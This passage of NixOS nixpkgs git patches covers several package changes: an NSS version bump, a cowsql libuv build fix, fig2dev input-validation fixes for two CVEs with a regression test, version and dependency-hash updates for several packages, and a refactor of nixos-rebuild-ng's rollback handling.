 
-  srcVersion = "3.113";
+  srcVersion = "3.113.1";
   version = if nssOverride != null then nssOverride.version else srcVersion;
   meta = with lib; {
     homepage = "https://curl.haxx.se/docs/caextract.html";
@@ -47,7 +47,7 @@ let
           owner = "nss-dev";
           repo = "nss";
           rev = "NSS_${lib.replaceStrings [ "." ] [ "_" ] version}_RTM";
-          hash = "sha256-gjkJaNNTqtaMxO6PuRLZ8ATMP88L4LXCtpT84fahcmU=";
+          hash = "sha256-Yfs9Hh98ASJe1D4qyQEXaTC2xjeDI2Cdxp5Xgy0rYdQ=";
         };
 
     dontBuild = true;

From 897986f3676839017d800350777282a121fe0b95 Mon Sep 17 00:00:00 2001
From: "Adam C. Stephens" <adam@valkor.net>
Date: Wed, 18 Jun 2025 19:56:54 -0400
Subject: [PATCH 2011/4511] cowsql: fix build failure from libuv conflict

(cherry picked from commit 8bb8408aa1c893214e6dadf11ddc477eb6cd97d7)
---
 pkgs/by-name/co/cowsql/37.patch    | 57 ++++++++++++++++++++++++++++++
 pkgs/by-name/co/cowsql/package.nix |  6 ++++
 2 files changed, 63 insertions(+)
 create mode 100644 pkgs/by-name/co/cowsql/37.patch

diff --git a/pkgs/by-name/co/cowsql/37.patch b/pkgs/by-name/co/cowsql/37.patch
new file mode 100644
index 000000000000..9f7eb84afc35
--- /dev/null
+++ b/pkgs/by-name/co/cowsql/37.patch
@@ -0,0 +1,57 @@
+From c0d7c99632ea2ee01066988708cbb41f335cbdc3 Mon Sep 17 00:00:00 2001
+From: Brahmajit Das <listout@listout.xyz>
+Date: Sat, 14 Jun 2025 00:18:38 +0530
+Subject: [PATCH] src/lib/serialize.h: don't define double as float_t
+
+libuv with commit 85b526f makes uv.h include math.h for the definitions
+of NAN/INFINITY. That header also defines the ISO C standard float_t
+type. Now that that definition is in scope, the cowsql definition in
+src/lib/serialize.h conflicts with it.
+
+Fixes: 451cff63b29366237a9502823299b05bbff8662b
+Closes: https://github.com/cowsql/cowsql/issues/35
+Signed-off-by: Brahmajit Das <listout@listout.xyz>
+---
+ src/lib/serialize.h | 8 ++++----
+ 1 file changed, 4 insertions(+), 4 deletions(-)
+
+diff --git a/src/lib/serialize.h b/src/lib/serialize.h
+index 9fbd49c..a7f9147 100644
+--- a/src/lib/serialize.h
++++ b/src/lib/serialize.h
+@@ -37,7 +37,7 @@ static_assert(sizeof(double) == sizeof(uint64_t),
+  * Basic type aliases to used by macro-based processing.
+  */
+ typedef const char *text_t;
+-typedef double float_t;
++typedef double cowsql_float;
+ typedef uv_buf_t blob_t;
+ 
+ /**
+@@ -143,7 +143,7 @@ COWSQL_INLINE size_t int64__sizeof(const int64_t *value)
+ 	return sizeof(int64_t);
+ }
+ 
+-COWSQL_INLINE size_t float__sizeof(const float_t *value)
++COWSQL_INLINE size_t float__sizeof(const cowsql_float *value)
+ {
+ 	(void)value;
+ 	return sizeof(double);
+@@ -190,7 +190,7 @@ COWSQL_INLINE void int64__encode(const int64_t *value, void **cursor)
+ 	*cursor += sizeof(int64_t);
+ }
+ 
+-COWSQL_INLINE void float__encode(const float_t *value, void **cursor)
++COWSQL_INLINE void float__encode(const cowsql_float *value, void **cursor)
+ {
+ 	*(uint64_t *)(*cursor) = ByteFlipLe64(*(uint64_t *)value);
+ 	*cursor += sizeof(uint64_t);
+@@ -273,7 +273,7 @@ COWSQL_INLINE int int64__decode(struct cursor *cursor, int64_t *value)
+ 	return 0;
+ }
+ 
+-COWSQL_INLINE int float__decode(struct cursor *cursor, float_t *value)
++COWSQL_INLINE int float__decode(struct cursor *cursor, cowsql_float *value)
+ {
+ 	size_t n = sizeof(double);
+ 	if (n > cursor->cap) {
diff --git a/pkgs/by-name/co/cowsql/package.nix b/pkgs/by-name/co/cowsql/package.nix
index e9fd022b8b74..f7e19e77757e 100644
--- a/pkgs/by-name/co/cowsql/package.nix
+++ b/pkgs/by-name/co/cowsql/package.nix
@@ -22,6 +22,12 @@ stdenv.mkDerivation (finalAttrs: {
     hash = "sha256-rwTa9owtnkyI9OpUKLk6V7WbAkqlYucpGzPnHHvKW/A=";
   };
 
+  patches = [
+    # fix libuv changes. review removal in > 1.15.8
+    # https://github.com/cowsql/cowsql/pull/37
+    ./37.patch
+  ];
+
   nativeBuildInputs = [
     autoreconfHook
     pkg-config

From 962670dd4201354e05d5100ae20214d7ffd5e783 Mon Sep 17 00:00:00 2001
From: Thomas Gerbet <thomas@gerbet.me>
Date: Sun, 30 Mar 2025 19:42:17 +0200
Subject: [PATCH 2012/4511] fig2dev: apply patches for CVE-2025-31162 and
 CVE-2025-31163

https://sourceforge.net/p/mcj/tickets/185/
https://sourceforge.net/p/mcj/tickets/186/
(cherry picked from commit e77499c7d6762c3cecf5f97fdef416f64d5c885f)
---
 pkgs/by-name/fi/fig2dev/CVE-2025-31162.patch | 27 ++++++
 pkgs/by-name/fi/fig2dev/CVE-2025-31163.patch | 91 ++++++++++++++++++++
 pkgs/by-name/fi/fig2dev/package.nix          |  5 ++
 3 files changed, 123 insertions(+)
 create mode 100644 pkgs/by-name/fi/fig2dev/CVE-2025-31162.patch
 create mode 100644 pkgs/by-name/fi/fig2dev/CVE-2025-31163.patch

diff --git a/pkgs/by-name/fi/fig2dev/CVE-2025-31162.patch b/pkgs/by-name/fi/fig2dev/CVE-2025-31162.patch
new file mode 100644
index 000000000000..4824c9254407
--- /dev/null
+++ b/pkgs/by-name/fi/fig2dev/CVE-2025-31162.patch
@@ -0,0 +1,27 @@
+commit da8992f44b84a337b4edaa67fc8b36b55eaef696
+Date:   Wed Jan 22 23:18:54 2025 +0100
+
+    Reject huge pattern lengths, ticket #185
+    
+    Reject patterned lines, e.g., dashed lines, where the
+    pattern length exceeds 80 inches.
+
+diff --git a/fig2dev/object.h b/fig2dev/object.h
+index 29f5a62..7f83939 100644
+--- a/fig2dev/object.h
++++ b/fig2dev/object.h
+@@ -57,12 +57,13 @@ typedef struct f_comment {
+ 	struct f_comment	*next;
+ } F_comment;
+ 
++#define	STYLE_VAL_MAX	6400.0	/* dash length 80 inches, that is enough */
+ #define COMMON_PROPERTIES(o)						\
+ 	o->style < SOLID_LINE || o->style > DASH_3_DOTS_LINE ||		\
+ 	o->thickness < 0 || o->depth < 0 || o->depth > 999 ||		\
+ 	o->fill_style < UNFILLED ||					\
+ 	o->fill_style >= NUMSHADES + NUMTINTS + NUMPATTERNS ||		\
+-	o->style_val < 0.0
++	o->style_val < 0.0 || o->style_val > STYLE_VAL_MAX
+ 
+ typedef struct f_ellipse {
+ 	int			type;
diff --git a/pkgs/by-name/fi/fig2dev/CVE-2025-31163.patch b/pkgs/by-name/fi/fig2dev/CVE-2025-31163.patch
new file mode 100644
index 000000000000..ed350b6e88d4
--- /dev/null
+++ b/pkgs/by-name/fi/fig2dev/CVE-2025-31163.patch
@@ -0,0 +1,91 @@
+commit c8a87d22036e62bac0c6f7836078d8103caa6457
+Author: Thomas Loimer <thomas.loimer@tuwien.ac.at>
+Date:   Wed Jan 22 23:27:43 2025 +0100
+
+    Reject arcs with co-incident points, ticket #186
+
+diff --git a/fig2dev/object.h b/fig2dev/object.h
+index 7f83939..50afbf0 100644
+--- a/fig2dev/object.h
++++ b/fig2dev/object.h
+@@ -3,7 +3,7 @@
+  * Copyright (c) 1991 by Micah Beck
+  * Parts Copyright (c) 1985-1988 by Supoj Sutanthavibul
+  * Parts Copyright (c) 1989-2015 by Brian V. Smith
+- * Parts Copyright (c) 2015-2023 by Thomas Loimer
++ * Parts Copyright (c) 2015-2025 by Thomas Loimer
+  *
+  * Any party obtaining a copy of these files is granted, free of charge, a
+  * full and unrestricted irrevocable, world-wide, paid up, royalty-free,
+@@ -92,10 +92,10 @@ typedef struct f_ellipse {
+ 	struct f_ellipse	*next;
+ } F_ellipse;
+ 
+-#define INVALID_ELLIPSE(e)	\
++#define INVALID_ELLIPSE(e)						\
+ 	e->type < T_ELLIPSE_BY_RAD || e->type > T_CIRCLE_BY_DIA ||	\
+-	COMMON_PROPERTIES(e) || (e->direction != 1 && e->direction != 0) || \
+-	e->radiuses.x == 0 || e->radiuses.y == 0 || \
++	COMMON_PROPERTIES(e) || (e->direction != 1 && e->direction != 0) ||  \
++	e->radiuses.x == 0 || e->radiuses.y == 0 ||			\
+ 	e->angle < -7. || e->angle > 7.
+ 
+ typedef struct f_arc {
+@@ -126,12 +126,16 @@ typedef struct f_arc {
+ #define CIRCARC       9
+ #define CIRCULARARC   > 8
+ 
+-#define INVALID_ARC(a)	\
++#define COINCIDENT(a, b)	(a.x == b.x && a.y == b.y)
++#define INVALID_ARC(a)							\
+ 	a->type < T_OPEN_ARC || a->type > T_PIE_WEDGE_ARC ||		\
+ 	COMMON_PROPERTIES(a) || a->cap_style < 0 || a->cap_style > 2 ||	\
+ 	a->center.x < COORD_MIN || a->center.x > COORD_MAX ||		\
+ 	a->center.y < COORD_MIN || a->center.y > COORD_MAX ||		\
+-	(a->direction != 0 && a->direction != 1)
++	(a->direction != 0 && a->direction != 1) ||			\
++	COINCIDENT(a->point[0], a->point[1]) ||				\
++	COINCIDENT(a->point[0], a->point[2]) ||				\
++	COINCIDENT(a->point[1], a->point[2])
+ 
+ typedef struct f_line {
+ 	int			type;
+diff --git a/fig2dev/tests/read.at b/fig2dev/tests/read.at
+index 1b4baea..da9ea3e 100644
+--- a/fig2dev/tests/read.at
++++ b/fig2dev/tests/read.at
+@@ -2,7 +2,7 @@ dnl Fig2dev: Translate Fig code to various Devices
+ dnl Copyright (c) 1991 by Micah Beck
+ dnl Parts Copyright (c) 1985-1988 by Supoj Sutanthavibul
+ dnl Parts Copyright (c) 1989-2015 by Brian V. Smith
+-dnl Parts Copyright (c) 2015-2024 by Thomas Loimer
++dnl Parts Copyright (c) 2015-2025 by Thomas Loimer
+ dnl
+ dnl Any party obtaining a copy of these files is granted, free of charge, a
+ dnl full and unrestricted irrevocable, world-wide, paid up, royalty-free,
+@@ -14,7 +14,7 @@ dnl party to do so, with the only requirement being that the above copyright
+ dnl and this permission notice remain intact.
+ 
+ dnl read.at
+-dnl Author: Thomas Loimer, 2017-2024
++dnl Author: Thomas Loimer, 2017-2025
+ 
+ 
+ AT_BANNER([Sanitize and harden input.])
+@@ -248,6 +248,16 @@ EOF
+ ])
+ AT_CLEANUP
+ 
++AT_SETUP([reject arcs with coincident points, ticket #186])
++AT_KEYWORDS(read.c arc)
++AT_CHECK([fig2dev -L pict2e <<EOF
++FIG_FILE_TOP
++5 1 0 15 0 7 50 0 -1 0.0 1 0 0 0 0.0 0.0 1 1 1 1 2 0
++EOF
++], 1, ignore, [Invalid arc object at line 10.
++])
++AT_CLEANUP
++
+ AT_SETUP([survive debian bugs #881143, #881144])
+ AT_KEYWORDS([font pic tikz])
+ AT_CHECK([fig2dev -L pic <<EOF
diff --git a/pkgs/by-name/fi/fig2dev/package.nix b/pkgs/by-name/fi/fig2dev/package.nix
index ea50385d213a..d3ae31a4b04b 100644
--- a/pkgs/by-name/fi/fig2dev/package.nix
+++ b/pkgs/by-name/fi/fig2dev/package.nix
@@ -21,6 +21,11 @@ stdenv.mkDerivation rec {
     hash = "sha256-YeGFOTF2hS8DuQGzsFsZ+8Wtglj/FC89pucLG4NRMyY=";
   };
 
+  patches = [
+    ./CVE-2025-31162.patch
+    ./CVE-2025-31163.patch
+  ];
+
   nativeBuildInputs = [ makeWrapper ];
   buildInputs = [ libpng ];
 

From 1dda355c5629201fa71a18d78f4405360986e995 Mon Sep 17 00:00:00 2001
From: Sizhe Zhao <prc.zhao@outlook.com>
Date: Fri, 4 Jul 2025 13:40:17 +0800
Subject: [PATCH 2013/4511] aerogramme: add updateScript

(cherry picked from commit 6925171285ae040d01d2ee10e9b81727f4a27c33)
---
 pkgs/by-name/ae/aerogramme/package.nix | 3 +++
 1 file changed, 3 insertions(+)

diff --git a/pkgs/by-name/ae/aerogramme/package.nix b/pkgs/by-name/ae/aerogramme/package.nix
index b28ebe1eb61c..6a695ee2109c 100644
--- a/pkgs/by-name/ae/aerogramme/package.nix
+++ b/pkgs/by-name/ae/aerogramme/package.nix
@@ -2,6 +2,7 @@
   lib,
   rustPlatform,
   fetchgit,
+  nix-update-script,
   pkg-config,
   openssl,
 }:
@@ -35,6 +36,8 @@ rustPlatform.buildRustPackage rec {
   nativeBuildInputs = [ pkg-config ];
   buildInputs = [ openssl ];
 
+  passthru.updateScript = nix-update-script { };
+
   meta = {
     description = "Encrypted e-mail storage over Garage";
     homepage = "https://aerogramme.deuxfleurs.fr/";

From 150e9467e1631e695d48accfdea5cff2054c1594 Mon Sep 17 00:00:00 2001
From: Sizhe Zhao <prc.zhao@outlook.com>
Date: Fri, 4 Jul 2025 20:31:42 +0800
Subject: [PATCH 2014/4511] aerogramme: add ngi team

(cherry picked from commit d10cf627aafa99a752c0ee5364444dbae26701d6)
---
 pkgs/by-name/ae/aerogramme/package.nix | 1 +
 1 file changed, 1 insertion(+)

diff --git a/pkgs/by-name/ae/aerogramme/package.nix b/pkgs/by-name/ae/aerogramme/package.nix
index 6a695ee2109c..b67eebb5462d 100644
--- a/pkgs/by-name/ae/aerogramme/package.nix
+++ b/pkgs/by-name/ae/aerogramme/package.nix
@@ -43,6 +43,7 @@ rustPlatform.buildRustPackage rec {
     homepage = "https://aerogramme.deuxfleurs.fr/";
     license = lib.licenses.eupl12;
     maintainers = with lib.maintainers; [ supinie ];
+    teams = with lib.teams; [ ngi ];
     mainProgram = "aerogramme";
     platforms = lib.platforms.linux;
   };

From 5265b43eeafcc437ef8a67ee0213ab099a1a115b Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Wed, 2 Jul 2025 07:55:47 +0000
Subject: [PATCH 2015/4511] nwg-dock-hyprland: 0.4.6 -> 0.4.7

(cherry picked from commit b17247099ebae363809d79194574bdcdaa37f07a)
---
 pkgs/by-name/nw/nwg-dock-hyprland/package.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/by-name/nw/nwg-dock-hyprland/package.nix b/pkgs/by-name/nw/nwg-dock-hyprland/package.nix
index c3eaf921a990..d11b8c10b68f 100644
--- a/pkgs/by-name/nw/nwg-dock-hyprland/package.nix
+++ b/pkgs/by-name/nw/nwg-dock-hyprland/package.nix
@@ -10,16 +10,16 @@
 
 buildGoModule rec {
   pname = "nwg-dock-hyprland";
-  version = "0.4.6";
+  version = "0.4.7";
 
   src = fetchFromGitHub {
     owner = "nwg-piotr";
     repo = "nwg-dock-hyprland";
     tag = "v${version}";
-    hash = "sha256-qxJSSdRySCCHiILNzP7Idvts6sAOdaXl6uU7Kw6lngE=";
+    hash = "sha256-XsZUGvyn5fWbXLlu3Q4LZzFsFTaooySXltts7cDx0gc=";
   };
 
-  vendorHash = "sha256-TcDgsreaPLZSqaxwcVrRcLJ9frkG23uHVpEv7dizNz4=";
+  vendorHash = "sha256-xYNNEsfjXSR/hjQzkot0/tUbd373xt8tFAfb9vVwYcE=";
 
   ldflags = [
     "-s"

From 5de3c0a11f74d41933db4d8f0cc9c8f2a9ac52e7 Mon Sep 17 00:00:00 2001
From: 1adept <69433209+1adept@users.noreply.github.com>
Date: Fri, 23 May 2025 16:56:04 +0200
Subject: [PATCH 2016/4511] carapace: 1.3.1 -> 1.3.2

(cherry picked from commit a4c6b536a1c04d01dc9f6c4fe232a1ed8f2a4884)
---
 pkgs/shells/carapace/default.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/shells/carapace/default.nix b/pkgs/shells/carapace/default.nix
index f639bd38ef1f..e95c6a36b45d 100644
--- a/pkgs/shells/carapace/default.nix
+++ b/pkgs/shells/carapace/default.nix
@@ -9,16 +9,16 @@
 
 buildGoModule (finalAttrs: {
   pname = "carapace";
-  version = "1.3.1";
+  version = "1.3.2";
 
   src = fetchFromGitHub {
     owner = "carapace-sh";
     repo = "carapace-bin";
     tag = "v${finalAttrs.version}";
-    hash = "sha256-VKc4JnezPdbgUIiSOnHIkUCLas//4TMIKiYd71EMamk=";
+    hash = "sha256-DgWC3IsuHncJzVfWxIGWDxknTAdHJEijvjhO7q14EYQ=";
   };
 
-  vendorHash = "sha256-APJBCUdicKb81gY3ukhMHVgapDl+4tsMdNHEwZbarKE=";
+  vendorHash = "sha256-oq1hZ2P093zsI+UAGHi5XfRXqGGxWpR5j7x7N7ng3xE=";
 
   ldflags = [
     "-s"

From de267e32d45a46971c074e012aa1fe43976bd946 Mon Sep 17 00:00:00 2001
From: steinuil <steenuil.owl@gmail.com>
Date: Tue, 24 Jun 2025 15:57:40 +0200
Subject: [PATCH 2017/4511] carapace: 1.3.2 -> 1.3.3

(cherry picked from commit dbc7d6855b4b6e8b4b13ffcd420472367350f27f)
---
 pkgs/shells/carapace/default.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/shells/carapace/default.nix b/pkgs/shells/carapace/default.nix
index e95c6a36b45d..96830ccfcb1d 100644
--- a/pkgs/shells/carapace/default.nix
+++ b/pkgs/shells/carapace/default.nix
@@ -9,16 +9,16 @@
 
 buildGoModule (finalAttrs: {
   pname = "carapace";
-  version = "1.3.2";
+  version = "1.3.3";
 
   src = fetchFromGitHub {
     owner = "carapace-sh";
     repo = "carapace-bin";
     tag = "v${finalAttrs.version}";
-    hash = "sha256-DgWC3IsuHncJzVfWxIGWDxknTAdHJEijvjhO7q14EYQ=";
+    hash = "sha256-dVM5XFFNXAVoN2xshq5k0Y6vSrfSNS0bIptcloX/uSg=";
   };
 
-  vendorHash = "sha256-oq1hZ2P093zsI+UAGHi5XfRXqGGxWpR5j7x7N7ng3xE=";
+  vendorHash = "sha256-XRbqxL2ANWi2aZbB30tNBxJoBIoDoMxKXMpOx++JJ6M=";
 
   ldflags = [
     "-s"

From 72a270f70127403ffa29c5a141c37b03b9c12715 Mon Sep 17 00:00:00 2001
From: Thiago Kenji Okada <thiagokokada@gmail.com>
Date: Fri, 4 Jul 2025 20:10:53 +0100
Subject: [PATCH 2018/4511] nixos-rebuild-ng: do not create result symlink in
 test/dry-activate

(cherry picked from commit 283d016460cbb46c78c1c942554da92dc16fbd50)
---
 pkgs/by-name/ni/nixos-rebuild-ng/src/nixos_rebuild/services.py | 3 ++-
 pkgs/by-name/ni/nixos-rebuild-ng/src/tests/test_main.py        | 1 +
 2 files changed, 3 insertions(+), 1 deletion(-)

diff --git a/pkgs/by-name/ni/nixos-rebuild-ng/src/nixos_rebuild/services.py b/pkgs/by-name/ni/nixos-rebuild-ng/src/nixos_rebuild/services.py
index 5261a453fc57..4e01d6ba185f 100644
--- a/pkgs/by-name/ni/nixos-rebuild-ng/src/nixos_rebuild/services.py
+++ b/pkgs/by-name/ni/nixos-rebuild-ng/src/nixos_rebuild/services.py
@@ -134,7 +134,8 @@ def _build_system(
     flake_common_flags: Args,
 ) -> Path:
     dry_run = action == Action.DRY_BUILD
-    no_link = action in (Action.SWITCH, Action.BOOT)
+    # actions that we will not add a /result symlink in CWD
+    no_link = action in (Action.SWITCH, Action.BOOT, Action.TEST, Action.DRY_ACTIVATE)
 
     match (action, args.rollback, build_host, flake):
         case (Action.SWITCH | Action.BOOT, True, _, _):
diff --git a/pkgs/by-name/ni/nixos-rebuild-ng/src/tests/test_main.py b/pkgs/by-name/ni/nixos-rebuild-ng/src/tests/test_main.py
index 52aa00ccf5c5..c49bb43d3445 100644
--- a/pkgs/by-name/ni/nixos-rebuild-ng/src/tests/test_main.py
+++ b/pkgs/by-name/ni/nixos-rebuild-ng/src/tests/test_main.py
@@ -1020,6 +1020,7 @@ def test_execute_test_flake(mock_run: Mock, tmp_path: Path) -> None:
                     "build",
                     "--print-out-paths",
                     'github:user/repo#nixosConfigurations."hostname".config.system.build.toplevel',
+                    "--no-link",
                 ],
                 check=True,
                 stdout=PIPE,

From 8820ad5f1446eaefeb9c4879617f913f037fee49 Mon Sep 17 00:00:00 2001
From: Thiago Kenji Okada <thiagokokada@gmail.com>
Date: Fri, 4 Jul 2025 20:43:26 +0100
Subject: [PATCH 2019/4511] nixos-rebuild-ng: split services._build_system in
 _rollback_system/_build_system

(cherry picked from commit 4cd106cf8aaa10d4c8ab7c44ca6d67462e0fa232)
---
 .../src/nixos_rebuild/services.py             | 108 ++++++++++--------
 1 file changed, 58 insertions(+), 50 deletions(-)

diff --git a/pkgs/by-name/ni/nixos-rebuild-ng/src/nixos_rebuild/services.py b/pkgs/by-name/ni/nixos-rebuild-ng/src/nixos_rebuild/services.py
index 4e01d6ba185f..e473ac9f7c7e 100644
--- a/pkgs/by-name/ni/nixos-rebuild-ng/src/nixos_rebuild/services.py
+++ b/pkgs/by-name/ni/nixos-rebuild-ng/src/nixos_rebuild/services.py
@@ -118,13 +118,34 @@ def _get_system_attr(
     return attr
 
 
+def _rollback_system(
+    action: Action,
+    args: argparse.Namespace,
+    target_host: Remote | None,
+    profile: Profile,
+) -> Path:
+    match action:
+        case Action.SWITCH | Action.BOOT:
+            path_to_config = nix.rollback(profile, target_host, sudo=args.sudo)
+        case Action.TEST | Action.BUILD:
+            maybe_path_to_config = nix.rollback_temporary_profile(
+                profile,
+                target_host,
+                sudo=args.sudo,
+            )
+            if maybe_path_to_config:
+                path_to_config = maybe_path_to_config
+            else:
+                raise NixOSRebuildError("could not find previous generation")
+
+    return path_to_config
+
+
 def _build_system(
     attr: str,
     action: Action,
-    args: argparse.Namespace,
     build_host: Remote | None,
     target_host: Remote | None,
-    profile: Profile,
     flake: Flake | None,
     build_attr: BuildAttr,
     build_flags: Args,
@@ -137,22 +158,8 @@ def _build_system(
     # actions that we will not add a /result symlink in CWD
     no_link = action in (Action.SWITCH, Action.BOOT, Action.TEST, Action.DRY_ACTIVATE)
 
-    match (action, args.rollback, build_host, flake):
-        case (Action.SWITCH | Action.BOOT, True, _, _):
-            path_to_config = nix.rollback(profile, target_host, sudo=args.sudo)
-        case (Action.TEST | Action.BUILD, True, _, _):
-            maybe_path_to_config = nix.rollback_temporary_profile(
-                profile,
-                target_host,
-                sudo=args.sudo,
-            )
-            if maybe_path_to_config:  # kinda silly but this makes mypy happy
-                path_to_config = maybe_path_to_config
-            else:
-                raise NixOSRebuildError("could not find previous generation")
-        case (_, True, _, _):
-            raise NixOSRebuildError(f"--rollback is incompatible with '{action}'")
-        case (_, False, Remote(_), Flake(_)):
+    match (build_host, flake):
+        case (Remote(_), Flake(_)):
             path_to_config = nix.build_remote_flake(
                 attr,
                 flake,
@@ -162,14 +169,14 @@ def _build_system(
                 | {"no_link": no_link, "dry_run": dry_run},
                 copy_flags=copy_flags,
             )
-        case (_, False, None, Flake(_)):
+        case (None, Flake(_)):
             path_to_config = nix.build_flake(
                 attr,
                 flake,
                 flake_build_flags=flake_build_flags
                 | {"no_link": no_link, "dry_run": dry_run},
             )
-        case (_, False, Remote(_), None):
+        case (Remote(_), None):
             path_to_config = nix.build_remote(
                 attr,
                 build_attr,
@@ -178,26 +185,19 @@ def _build_system(
                 instantiate_flags=build_flags,
                 copy_flags=copy_flags,
             )
-        case (_, False, None, None):
+        case (None, None):
             path_to_config = nix.build(
                 attr,
                 build_attr,
                 build_flags=build_flags | {"no_out_link": no_link, "dry_run": dry_run},
             )
-        case never:
-            # should never happen, but mypy is not smart enough to
-            # handle this with assert_never
-            # https://github.com/python/mypy/issues/16650
-            # https://github.com/python/mypy/issues/16722
-            raise AssertionError(f"expected code to be unreachable, but got: {never}")
 
-    if not args.rollback:
-        nix.copy_closure(
-            path_to_config,
-            to_host=target_host,
-            from_host=build_host,
-            copy_flags=copy_flags,
-        )
+    nix.copy_closure(
+        path_to_config,
+        to_host=target_host,
+        from_host=build_host,
+        copy_flags=copy_flags,
+    )
 
     return path_to_config
 
@@ -291,23 +291,31 @@ def build_and_activate_system(
         common_flags=common_flags,
         flake_common_flags=flake_common_flags,
     )
-    path_to_config = _build_system(
-        attr,
-        action=action,
-        args=args,
-        build_host=build_host,
-        target_host=target_host,
-        profile=profile,
-        flake=flake,
-        build_attr=build_attr,
-        build_flags=build_flags,
-        common_flags=common_flags,
-        copy_flags=copy_flags,
-        flake_build_flags=flake_build_flags,
-        flake_common_flags=flake_common_flags,
-    )
+
+    if args.rollback:
+        path_to_config = _rollback_system(
+            action=action,
+            args=args,
+            target_host=target_host,
+            profile=profile,
+        )
+    else:
+        path_to_config = _build_system(
+            attr=attr,
+            action=action,
+            build_host=build_host,
+            target_host=target_host,
+            flake=flake,
+            build_attr=build_attr,
+            build_flags=build_flags,
+            common_flags=common_flags,
+            copy_flags=copy_flags,
+            flake_build_flags=flake_build_flags,
+            flake_common_flags=flake_common_flags,
+        )
+
     _activate_system(
-        path_to_config,
+        path_to_config=path_to_config,
         action=action,
         args=args,
         target_host=target_host,

From eac95a7a2ac30662029de60f23e076570fb0e342 Mon Sep 17 00:00:00 2001
From: emaryn <emaryn@users.noreply.github.com>
Date: Wed, 28 May 2025 15:52:46 +0800
Subject: [PATCH 2020/4511] v2rayn: 7.11.1 -> 7.12.5

Diff: https://github.com/2dust/v2rayN/compare/refs/tags/7.11.1...refs/tags/7.12.5
(cherry picked from commit 4cb3d98c05f111bc24c894252d19b83a9988a7d9)
---
 pkgs/by-name/v2/v2rayn/deps.json   | 64 +++++++++++++++---------------
 pkgs/by-name/v2/v2rayn/package.nix | 22 ++++++----
 2 files changed, 46 insertions(+), 40 deletions(-)

diff --git a/pkgs/by-name/v2/v2rayn/deps.json b/pkgs/by-name/v2/v2rayn/deps.json
index 6b28dfc1eb88..474e080ddbc7 100644
--- a/pkgs/by-name/v2/v2rayn/deps.json
+++ b/pkgs/by-name/v2/v2rayn/deps.json
@@ -11,8 +11,8 @@
   },
   {
     "pname": "Avalonia",
-    "version": "11.2.6",
-    "hash": "sha256-f+fuElhlc2dCUt/GD/Noh07JqPIA8ZtpFxdmetdPVVI="
+    "version": "11.3.0",
+    "hash": "sha256-Hot4dWkrP5x+JzaP2/7E1QOOiXfPGhkvK1nzBacHvzg="
   },
   {
     "pname": "Avalonia.Angle.Windows.Natives",
@@ -31,38 +31,38 @@
   },
   {
     "pname": "Avalonia.Controls.ColorPicker",
-    "version": "11.2.6",
-    "hash": "sha256-TeUwMcNIvXw/gMuApUODZ7nuymM6OF9cNUGSajlyfoQ="
+    "version": "11.3.0",
+    "hash": "sha256-ee3iLrn8OdWH6Mg01p93wYMMCPXS25VM/uZeQWEr+k0="
   },
   {
     "pname": "Avalonia.Controls.DataGrid",
-    "version": "11.2.6",
-    "hash": "sha256-69ZtybLdpGG28M6p1Cenz6PZEfdf1VKxA4wIrw5FJnI="
+    "version": "11.3.0",
+    "hash": "sha256-McFggedX7zb9b0FytFeuh+3nPdFqoKm2JMl2VZDs/BQ="
   },
   {
     "pname": "Avalonia.Desktop",
-    "version": "11.2.6",
-    "hash": "sha256-PANuvQlAhDWjnv7VUzxOjz6XRmt4l/YKhVLSIP7YL24="
+    "version": "11.3.0",
+    "hash": "sha256-XZXmsKrYCOEWzFUbnwNKvEz5OCD/1lAPi+wM4BiMB7I="
   },
   {
     "pname": "Avalonia.Diagnostics",
-    "version": "11.2.6",
-    "hash": "sha256-Lc9qLIywzD06I9sPXQRjLLLijDoFOVmuO5qNh301gYQ="
+    "version": "11.3.0",
+    "hash": "sha256-jO8Fs9kfNGsoZ87zQCxPdn0tyWHcEdgBRIpzkZ0ceM0="
   },
   {
     "pname": "Avalonia.FreeDesktop",
-    "version": "11.2.6",
-    "hash": "sha256-816li4Nj8+oNkfeMjOAtFSFS+DSo9e2S3K45xqyHJAQ="
+    "version": "11.3.0",
+    "hash": "sha256-nWIW3aDPI/00/k52BNU4n43sS3ymuw+e97EBSsjjtU4="
   },
   {
     "pname": "Avalonia.Native",
-    "version": "11.2.6",
-    "hash": "sha256-by589X1UIjeQNK0lJMLfNzF2dK+qTNT6CBJNLgG86Aw="
+    "version": "11.3.0",
+    "hash": "sha256-l6gcCeGd422mLQgVLp2sxh4/+vZxOPoMrxyfjGyhYLs="
   },
   {
     "pname": "Avalonia.ReactiveUI",
-    "version": "11.2.6",
-    "hash": "sha256-DsUxdEQMgpmzgRS5zkf3rqk32YL3xFN7KoQkn1Xl6WU="
+    "version": "11.3.0",
+    "hash": "sha256-yY/xpe4Te6DLa1HZCWZgIGpdKeZqvknRtpkpBTrZhmU="
   },
   {
     "pname": "Avalonia.Remote.Protocol",
@@ -76,28 +76,28 @@
   },
   {
     "pname": "Avalonia.Remote.Protocol",
-    "version": "11.2.6",
-    "hash": "sha256-Q2uPnR6tPFWExohhMJKnJGTet8IVpQn/HIcRurUPAHQ="
+    "version": "11.3.0",
+    "hash": "sha256-7ytabxzTbPLR3vBCCb7Z6dYRZZVvqiDpvxweOYAqi7I="
   },
   {
     "pname": "Avalonia.Skia",
-    "version": "11.2.6",
-    "hash": "sha256-6CfDcJT707iSB9XUQRvSvr5YWMavhiYPnHwVudUl74c="
+    "version": "11.3.0",
+    "hash": "sha256-p+mWsyrYsC9PPhNjOxPZwarGuwmIjxaQ4Ml/2XiEuEc="
   },
   {
     "pname": "Avalonia.Themes.Simple",
-    "version": "11.2.6",
-    "hash": "sha256-kE31/1tchMJ6XmEbjLr5Idc7uKBAbuhsroUMg0LQauA="
+    "version": "11.3.0",
+    "hash": "sha256-F2DMHskmrJw/KqpYLHGEEuQMVP8T4fXgq5q3tfwFqG0="
   },
   {
     "pname": "Avalonia.Win32",
-    "version": "11.2.6",
-    "hash": "sha256-e+DNtKz4UDNqOP1vvVRqbD67n5IG9PxmGkMz7B6b7AY="
+    "version": "11.3.0",
+    "hash": "sha256-Ltf6EuL6aIG+YSqOqD/ecdqUDsuwhNuh+XilIn7pmlE="
   },
   {
     "pname": "Avalonia.X11",
-    "version": "11.2.6",
